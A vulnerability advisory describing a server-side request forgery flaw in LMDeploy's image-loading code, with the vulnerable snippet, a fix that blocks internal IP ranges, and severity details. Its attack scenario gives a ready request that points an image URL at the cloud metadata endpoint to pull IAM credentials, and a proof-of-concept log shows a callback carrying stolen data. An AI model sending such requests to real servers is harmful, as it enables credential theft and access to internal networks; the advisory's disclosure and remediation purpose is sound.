High

LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

  • Disclosed: 21.04.2026
  • Updated: 11.10.2026 14:18

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

  • Tested on: main branch (2026-02-04)
  • Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

python
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

  1. No validation of URLs before fetching
  2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
  3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
  4. API keys disabled by default

Attack Scenario

  1. LMDeploy server deployed with vision-language model
  2. Attacker sends request to /v1/chat/completions with malicious image_url:
python
POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}
  1. Server fetches URL without validation
  2. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

  • Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
  • Internal Service Access: Reach services not exposed to internet
  • Information Disclosure: Port scan internal networks
  • Lateral Movement: Pivot point for further attacks

Recommended Fix

python
from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) lmdeploy <= 0.12.2 no fix

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-918
Platform
Python (PyPI)
Package
lmdeploy
Disclosed
21.04.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2607 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6w67-hwm5-92mq - CC BY 4.0

Vulnerability history: lmdeploy

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (10) in the archive
Total entries
10
First → latest
04.2025 09.2026
Without a fix
3
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 6
  • Medium 2

Disclosures per year

  1. 2025: 3
  2. 2026: 7
Severity:
  1. High · 7.5 ghsa-39wr-7q6h-cf68 >= 0.12.3, < 0.15.0 0.15.0
  2. LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading this entry
    High · 7.5 CVE-2026-33626 <= 0.12.2 no fix

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